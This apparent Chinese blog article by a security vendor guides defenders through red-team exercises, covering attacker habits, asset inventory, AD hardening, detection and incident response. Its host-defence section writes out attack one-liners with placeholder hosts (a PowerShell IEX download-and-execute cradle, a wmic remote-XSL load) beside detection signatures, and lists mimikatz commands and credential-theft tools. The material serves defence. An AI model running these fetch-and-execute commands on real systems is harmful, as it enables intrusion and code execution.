最近我們Sinesafe參加的幾家機構(gòu)的滲透測試防守方防護方案評估復(fù)查,部分防守方缺乏對攻擊者的正確認知,攻擊者的手法已經(jīng)比較高超了,不掃描,不落地,污染日志等都很普及了。同時也要正確認知對手:攻防演練中,攻擊者并非無所不能,他們面臨著和防御方一樣的問題:時間緊,任務(wù)重。所以攻擊者的攻擊目標(biāo),攻擊手法也是有跡可循的,知己知彼才能百戰(zhàn)百勝。
滲透測試
一、知彼
攻擊者也是講成本的,因此防守方最好的策略是:做的比其他防守方好一點點即可。好一點的含義:不在低級問題上犯錯(弱密碼、互聯(lián)網(wǎng)應(yīng)用遠程RCE、管理后臺暴露、重要服務(wù)器未打補丁等)。對于“時間緊、任務(wù)重”的防守方來說,修建固若金湯的防線顯然意味著大成本投入,以及最緊缺的時間,因此本文不會面面俱到,只選擇性價比高值得快速投入的安全措施和大家分享。
攻擊者一般:目標(biāo)明確、步驟清晰、控制成本、反檢測,反清理、三流分立。
目標(biāo)明確:攻擊者只攻擊得分項,和必要路徑(外網(wǎng)入口,內(nèi)網(wǎng)立足點),對這些目標(biāo)采取高等級手段,會隱蔽操作;對非必要路徑順路控制下來的服務(wù)器,并不怕被發(fā)現(xiàn),用起來比較隨意,甚至主動制造噪音,干擾防守方。
步驟清晰:信息收集-控制入口-橫向移動-維持權(quán)限-攻擊目標(biāo)系統(tǒng)。每一步都是經(jīng)典操作和教科書式手法。
控制成本:
優(yōu)先攻擊高權(quán)限賬號,如管理員,目標(biāo)系統(tǒng)負責(zé)人賬號;
優(yōu)先攻擊運維/安全人員賬號和終端,這些人往往有服務(wù)器root賬號,安全設(shè)備管理員賬號,可以進一步深入控制;
優(yōu)先攻擊集中管控設(shè)施,如域控,集中身份認證系統(tǒng),終端管理系統(tǒng),攻陷單系統(tǒng)即獲得公司內(nèi)大部分系統(tǒng)的權(quán)限;
優(yōu)先攻擊基礎(chǔ)設(shè)施,如DNS,DHCP,郵件系統(tǒng),知識分享平臺,oa系統(tǒng),工單系統(tǒng);這些系統(tǒng)有內(nèi)置高權(quán)限賬號,或可以幫助攻擊者隱蔽痕跡?;騁it/SVN等開發(fā)源代碼管理服務(wù)器,通過代碼審計發(fā)現(xiàn)應(yīng)用0day漏洞。
反檢測,反清理:
樣本隱蔽技術(shù)(白利用(帶微軟簽名的程序執(zhí)行未簽名的黑dll),樣本不落地執(zhí)行(從網(wǎng)上加載樣本,只運行在內(nèi)存,不落盤不驚動殺軟));
快速擴散(攻擊者會將攻擊包做成自動化工具,降低人力投入,快速控制一批有漏洞發(fā)服務(wù)器);
停止日志外發(fā),日志清除(腳本優(yōu)先停止常見日志外發(fā)工具;同時有開源自動化工具來劫持日志產(chǎn)生的進程,使得系統(tǒng)不產(chǎn)生日志;使用完后刪除access.log等日志);
減少掃描,通過分析日志、分析配置文件、管理員來源IP等方式來獲取內(nèi)網(wǎng)的其他機器IP信息,而不是掃描。
點擊添加圖片描述(最多60個字)
三流分立:
掃描流:用來大批量掃描內(nèi)網(wǎng)存活I(lǐng)P和漏洞,掃描源通常不被攻擊者重視,被清除也不會影響到攻擊計劃,高水平攻擊者通常使用掃描行為來分散防守方精力。
數(shù)據(jù)流:用來向外網(wǎng)大量傳輸非關(guān)鍵數(shù)據(jù),通常是有互聯(lián)網(wǎng)權(quán)限的終端或服務(wù)器(終端較多),很少有隧道行為或掃描行為,通過簡單的https,sftp方式傳輸數(shù)據(jù)
控制流:用于接受和傳遞遠控指令的服務(wù)器,攻擊者最重視的設(shè)施,使用起來最為謹慎,和遠控中心進行交流,常用組件cobaltstrike, empire;有隧道行為,且數(shù)據(jù)傳輸量很少,會連接若干個IP和域名(避免外網(wǎng)封禁),傳輸必定加密,不使用自簽名證書。
在本次攻防實戰(zhàn)演習(xí)準備階段,攻擊方準備了幾十個C2域名。
二、知己知己,主要是知曉防守方防守區(qū)域內(nèi)的資產(chǎn)信息,縮小暴露面。原則如下:
不用的系統(tǒng),該下的下,該暫停的暫停。不用的功能,該下的下,該暫停的暫停。(平時就應(yīng)該這樣處理,而不是戰(zhàn)時)
該取消訪問的取消,能限制訪問范圍的限制訪問范圍。
在用的,搞清楚功能,雙流(數(shù)據(jù)流和運維流)誰用,有沒有風(fēng)險,能否一鍵處置。
縮小暴露面 1.按資產(chǎn)所屬緯度梳理
互聯(lián)網(wǎng)資產(chǎn)、分支機構(gòu)資產(chǎn)、子公司資產(chǎn)、外聯(lián)公司資產(chǎn)、公有云資產(chǎn)、開發(fā)商、外包商。
容易忽視的:
公有云資產(chǎn),因為有的業(yè)務(wù)部門和分支機構(gòu)公有云申請都不經(jīng)過IT部門,上面卻放了大量業(yè)務(wù)數(shù)據(jù)。
開發(fā)商/外包商的資產(chǎn)。開發(fā)商/外包商一般給甲方外包開發(fā)信息系統(tǒng),開發(fā)商/外包商公司內(nèi)部也會自建Git/SVN等源代碼管理服務(wù)器,存有已經(jīng)交付給甲方的信息系統(tǒng)源碼,而開發(fā)商/外包商的源碼系統(tǒng)管理安全能力和甲方相比可能就差幾個量級了。后果就是:通過獲得的源碼,發(fā)現(xiàn)系統(tǒng)應(yīng)用0day,從而控制甲方已上線信息系統(tǒng)。
縮小暴露面 2.按資產(chǎn)屬性梳理
特別關(guān)注資產(chǎn)的安全屬性:中間件或框架(版本)、開放在公網(wǎng)API接口(特別是未下線的老接口)、管理后臺開放在公網(wǎng)、高危功能(文件上傳點、短信驗證碼、重置密碼、文件下載)、遠程接入點(VPN)、特權(quán)賬戶(應(yīng)用管理特權(quán)賬戶、應(yīng)用連接賬戶、系統(tǒng)管理特權(quán)賬戶、可以修改賬戶權(quán)限的賬戶、備份賬戶、高管層賬戶)。
每一個安全屬性都是血的教訓(xùn)。
縮小暴露面 3.忽視點
所有內(nèi)部文檔服務(wù)器上(含OA、郵件系統(tǒng)、jira、wiki、知識庫等)敏感信息清理或限制訪問權(quán)限,不要有:網(wǎng)絡(luò)拓撲、安全防護方案和部署位置、各類密碼;
資產(chǎn)管理平臺上,蜜罐不要叫蜜罐、安全設(shè)備IP要隱藏;
各類口令:弱口令、默認口令、已泄露口令。
每一個忽視點都是眼淚的結(jié)晶。
安全資產(chǎn)管理,更多內(nèi)容參加:安全資產(chǎn)管理中容易被忽視的幾點
三、防護關(guān)鍵點
臨戰(zhàn)前,再想按照大而全的梳理一遍,幾無可能,最好就是把防護關(guān)鍵點過一遍,切記都實際看一遍,不要相信別人的反饋。
3.1 安全隔離
滲透測試繞過
從實戰(zhàn)來看,網(wǎng)絡(luò)層的訪問控制被證明是最有效的(攻擊者很難繞過去),不要相信應(yīng)用層控制。網(wǎng)絡(luò)層訪問控制屬于基礎(chǔ)架構(gòu)安全,這是最有效最重要的,整個安全防護的基礎(chǔ)。
訪問控制策略原則:明細允許,默認拒絕。
從內(nèi)網(wǎng)去互聯(lián)網(wǎng)的訪問控制
辦公終端:除個別協(xié)議無法限制目的IP外,其余協(xié)議全部限制。特殊訪問需求,快速開通。有條件的考慮:終端不能直接訪問互聯(lián)網(wǎng),需要訪問互聯(lián)網(wǎng)的兩種解決方案:另外分配一臺上網(wǎng)終端、虛擬瀏覽器
辦公服務(wù)器:特殊訪問需求開通,默認拒絕
生產(chǎn)網(wǎng):生產(chǎn)網(wǎng)終端禁止上互聯(lián)網(wǎng)、服務(wù)器特殊訪問需求開通,默認拒絕
2.互聯(lián)網(wǎng)訪問內(nèi)網(wǎng):對互聯(lián)網(wǎng)提供服務(wù)的服務(wù)器必須在DMZ,和內(nèi)網(wǎng)隔離。
3.重要系統(tǒng)的訪問控制策略
基礎(chǔ)設(shè)施如AD、郵件系統(tǒng)的訪問控制。
別小看基礎(chǔ)設(shè)施ACL訪問控制,這是對抗應(yīng)用和系統(tǒng)漏洞的最低成本和最有效措施。漏洞層出不窮,唯有ACL訪問控制藥效持久,強烈推薦。
終端安全管控、自動化運維系統(tǒng)等集中控制系統(tǒng)后臺登錄限制訪問來源。(優(yōu)先使用網(wǎng)絡(luò)訪問控制、其次使用系統(tǒng)層限制、搭配使用應(yīng)用層限制)
3.2 AD防護
準備階段
2.加固階段
對抗權(quán)限提升:對域賬號進行權(quán)限D(zhuǎn)ACL梳理,加固高權(quán)限賬號
檢測高權(quán)限賬號可以用bloodhound黑客工具監(jiān)測,也可以通過System Internal Tools的ADExplorer來進行檢測:
1)修改密碼(建議在演習(xí)前臨近時間進行修改)
2)調(diào)整權(quán)限和分組,根據(jù)賬號的歸屬人的權(quán)限進行調(diào)賬,取消非域管賬號的敏感權(quán)限。
3)修改分組內(nèi)的不合適的人員賬號。
4)敏感賬號不允許委派。
5)敏感賬號不允許取消Kerberos預(yù)鑒權(quán)。
6)敏感賬號的密碼強度符合規(guī)定。
7)具備直接域管或者間接域管權(quán)限(例如可以修改Domain Admins的賬號就具備間接域管權(quán)限)的賬號的活動進行報備制度,演習(xí)期間未經(jīng)允許不得進行任何操作,包括登錄等等。
8)辦公機和終端演習(xí)前全部重啟,消除敏感賬號憑據(jù)留存。
9)服務(wù)器登錄查看相關(guān)憑據(jù),如果有刪除或通過注銷來刪除服務(wù)器上留存的憑據(jù)。
10)參照https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-f--securing-domain-admins-groups-in-active-directory配置域管理員權(quán)限。
對抗攻擊者使用MS14-068,MS17-010攻擊域:從舊到新依次安裝DC上的windows補丁。
對抗攻擊者使用ExchangeSSRF漏洞:從舊到新依次安裝Exchange上的windows補丁。
對抗LDAP relay攻擊:在域控上配置LDAP enforce signing。
對抗LDAP relay和SSRF攻擊:在域控上配置LDAPS channel binding。
對抗LLMNR/NBT Poisoning攻擊:關(guān)閉域內(nèi)WPAD服務(wù)。
3.檢測階段
滲透測試檢測階段
原則:若域不安全,最佳修復(fù)方案是重裝。
檢測敏感共享目錄訪問:訪問了AD服務(wù)器的非正常共享目錄 (非SYSVOL文件夾)
檢測mimikatz一系列攻擊行為:
Mimikatz通過sysmon進程來進行檢測,常見關(guān)鍵字有“gentilkiwi (Benjamin DELPY)”(公司名稱)、
其他關(guān)鍵字:kerberos::golden sekurlsa::pth kerberos::ptt lsadump::dcshadow lsadump::dcsync sekurlsa::logonpasswords privilege::debug misc::skeleton
檢測Kerberos弱加密方式:非AES加密方式的Kerberos票據(jù)加密請求相當(dāng)可疑
檢測異常注冊表變更和dump:DSRMAdminLogonBehavior
變更AdminSDHolder
導(dǎo)出HKLM\SAM內(nèi)容
導(dǎo)出HKLM\SYSTEM內(nèi)容
導(dǎo)出HKLM\SECURITY內(nèi)容
檢測ntdsutil濫用:使用了ntdsutil的敏感參數(shù)activate instance ntds ;使用了ntdsutil的敏感參數(shù)set dsrm password
檢測SID history變更:賬號加入SID History成功、失敗
檢測lazagne密碼提取工具:特征 lazagne
攻擊者喜歡用的其他工具:
procdump、PsExec、cain、Mshta、cmstp、QuarkPwDump、getpass、gethash、ntdsdump、Get-PassHashes、Wce、psaattack。
3.3 主機防護(終端和服務(wù)器)對抗
攻擊者在嘗試控制終端和服務(wù)器時,為了繞過常規(guī)的殺毒軟件,通常會使用一些免殺手段。而某些免殺手段(如白利用,樣本不落地執(zhí)行)由于非常穩(wěn)定和高效,更是受到廣大攻擊者的青睞。
1.Powershell IEX組建下載執(zhí)行.(文件在內(nèi)存執(zhí)行,不落硬盤)
利用代碼示例:powershell.exe -nop -whidden -c IEX ((new-objectnet.webclient).downloadstring('http://x.x.x.x:81/aa'))">
監(jiān)測特征:"IEX” AND “(New-Object Net.WebClient).DownloadString“
2.Windows系統(tǒng)白文件利用(wmic.exe
利用代碼示例:cmd/c wmic os get /format:”\\x.x.x.x\1.xsl”&start/wait notepad
監(jiān)測特征:"wmic os get" AND "/format"3.Windows系統(tǒng)白文件利用(csc.exe)
利用代碼示例:
"C:/Windows/Microsoft.NET/Framework64/v2.0.50727/csc.exe"/noconfig /fullpaths@"C:/Users/a/AppData/Local/Temp/l1xso2zu.cmdline"
監(jiān)測特征:"csc.exe" AND ("/r:System.EnterpriseServices.dll"OR "/unsafe")4.Windows系統(tǒng)白文件利用(msiexec.exe)
特征:被動執(zhí)行后臺執(zhí)行的參數(shù),有一定誤報率。請自行研究,不再舉例。
5.檢測certutil白利用
特征:常見繞防火墻使用的參數(shù)。請自行研究,不再舉例。
6.檢測通過url.dll來進行不落地執(zhí)行
請自行研究,不再舉例。
3.4 賬戶和權(quán)限對抗
高權(quán)限一律清理,限制使用范圍,每次使用后確認。
應(yīng)用權(quán)限通過日志分析檢測濫用。
關(guān)注備份賬戶、可修改權(quán)限賬戶的使用。
終端24小時重啟一次。(對抗終端權(quán)限抓取類攻擊)
3.5 瞬間死亡
瞬間死亡有兩種方式:路徑打穿、系統(tǒng)打穿。
3.5.1 路徑打穿
直接從未想過(未設(shè)防)的路徑攻擊過來。郵件是控制終端第一選擇入口,具體防護可參見《企業(yè)安全建設(shè)指南:金融行業(yè)安全架構(gòu)與技術(shù)時間》第16章:郵件安全。
邊緣網(wǎng)包括無線和自助終端,包括:打卡機、自動售賣機、會議室設(shè)備、ATM機、排隊機等。限制無線和自助終端網(wǎng)絡(luò)和內(nèi)網(wǎng)訪問。
限制分支機構(gòu)、外聯(lián)公司等網(wǎng)絡(luò)和總部的網(wǎng)絡(luò)訪問。
不要相信理論上不能全通,但實際上存在全通內(nèi)網(wǎng)的系統(tǒng)。(死于方便性)
3.5.2 系統(tǒng)打穿
系統(tǒng)打穿,都是血淚史。因為我們總是忘記了這些最大的風(fēng)險源。優(yōu)先攻擊中心化的系統(tǒng)和跨兩網(wǎng)的系統(tǒng),包括終端安全管控控制臺(控制臺安全防護能力很弱)、運維管理系統(tǒng)/Zabbix/Nagios/堡壘機等、單點登錄SSO系統(tǒng)、AD活動目錄;
優(yōu)先攻擊基礎(chǔ)設(shè)施:DNS、DHCP、郵件系統(tǒng)、研發(fā)服務(wù)器SVN/Git;
高價值終端:
網(wǎng)絡(luò)管理員:終端內(nèi)有網(wǎng)絡(luò)拓撲和ACL控制策略,甚至可以修改訪問控制;
安全管理員:有安全防護方案和檢測系統(tǒng)、告警系統(tǒng)登錄權(quán)限,很多安全系統(tǒng)做了登錄來源限制,繞過手段之一就是控制安全管理員的終端,同時抓取安全管理員賬戶密碼,攻擊者一舉兩得;
研發(fā)個人終端/運維個人終端:高價值數(shù)據(jù);
內(nèi)網(wǎng)掃描器:網(wǎng)絡(luò)權(quán)限較大,哪都能去。
代碼服務(wù)器:代碼數(shù)據(jù)價值比較高。私有協(xié)議開發(fā)的應(yīng)用程序,源碼要保護好,有經(jīng)驗攻擊團隊帶代碼審計技能成員,通過源碼審計發(fā)現(xiàn)應(yīng)用0day
3.6 容易出問題的點
互聯(lián)網(wǎng)應(yīng)用框架RCE
應(yīng)用和中間件管理后臺暴露
VPN:未啟用雙因素,或存在未啟用雙因素的部分用戶
測試環(huán)境的測試系統(tǒng)未及時打補丁、弱密碼
通過郵件入口控制辦公終端
跨兩網(wǎng)的設(shè)備
服務(wù)器密碼同質(zhì)問題
社工
四、事中和事后
前面分享了很多防護和檢測的事項,但防守方到了這個階段,更重要的是考慮一下事中的各種過載信息的研判和快速應(yīng)急處置措施。
我們打內(nèi)部攻防演習(xí)的時候,最大的困擾是決策和處置。
4.1 過載信息研判
有效高速的決策機制,什么權(quán)限范圍內(nèi)的由什么人決策,這是授權(quán)。
什么崗位(人)負責(zé)什么,這是職責(zé)劃分。比如誰負責(zé)跟蹤每條告警信息到Closed狀態(tài)?誰負責(zé)斷網(wǎng)?誰負責(zé)樣本分析?誰負責(zé)失陷主機排查?誰負責(zé)溯源路徑?誰負責(zé)記錄?誰負責(zé)匯報?等等。
4.2 快速應(yīng)急處置
4.2.1 硬件和后勤
大的作戰(zhàn)室,容納全部防守隊伍;
好的白板(最好電子的),便于梳理攻擊路徑;
準備好零食和一日三餐、行軍床。
4.2.2 重要信息同步
已經(jīng)淪陷的IP清單(黑名單),同步給所有防守方;
是否C2域名快速判斷,注意真假難辨的域名。
4.2.3 各類應(yīng)急處置措施
斷網(wǎng):快速斷網(wǎng)的操作規(guī)范和自動化工具
誘餌
臨時添加ACL和FW規(guī)則
下線業(yè)務(wù):和業(yè)務(wù)方建立暢通的溝通機制和快速的決策機制
如果失陷(疑似)主機,決策用于誘餌,務(wù)必確保誘餌的風(fēng)險可控,萬一持續(xù)利用誘餌在內(nèi)網(wǎng)橫向移動,再進行限制就困難了。
注意體力分配,高水平攻擊者通常使用掃描行為等方式來分散防守方精力。
4.3 滲透測試復(fù)檢
攻防實戰(zhàn)演習(xí)后的總結(jié)改進提升,才是最終目的。
4.3.1 防護薄弱點和改進措施
安全團隊
協(xié)作團隊
廠商和第三方
安全團隊不好推動的工作,不好講的話,要不到的資源,都可以在這里提出來。
應(yīng)急處置薄弱點和改進措施,落實到人、計劃和資源中,才是務(wù)實的。
4.3.3 資源不足,要資源
安全運營是必由之路,參見 金融業(yè)企業(yè)安全建設(shè)之路
7*24小時的安全運營,既然攻擊對手是7*24小時的,為什么安全運營不是呢?
4.3.4 必要的管理層匯報
五、注意事項
不要影響業(yè)務(wù)。攻防演習(xí)前的加固,需要妥善評估對業(yè)務(wù)可用性影響,攻防演習(xí)中的應(yīng)急處置,需要妥善評估對業(yè)務(wù)可用性影響,畢竟,業(yè)務(wù)可用性才是老大,安全不是,擺正心態(tài)和位置,如果對滲透測試有想法的朋友可以找專業(yè)的網(wǎng)站安全公司來處理解決,國內(nèi)推薦Sinesafe,綠盟,啟明星辰,等等的網(wǎng)站安全公司。
申請創(chuàng)業(yè)報道,分享創(chuàng)業(yè)好點子。點擊此處,共同探討創(chuàng)業(yè)新機遇!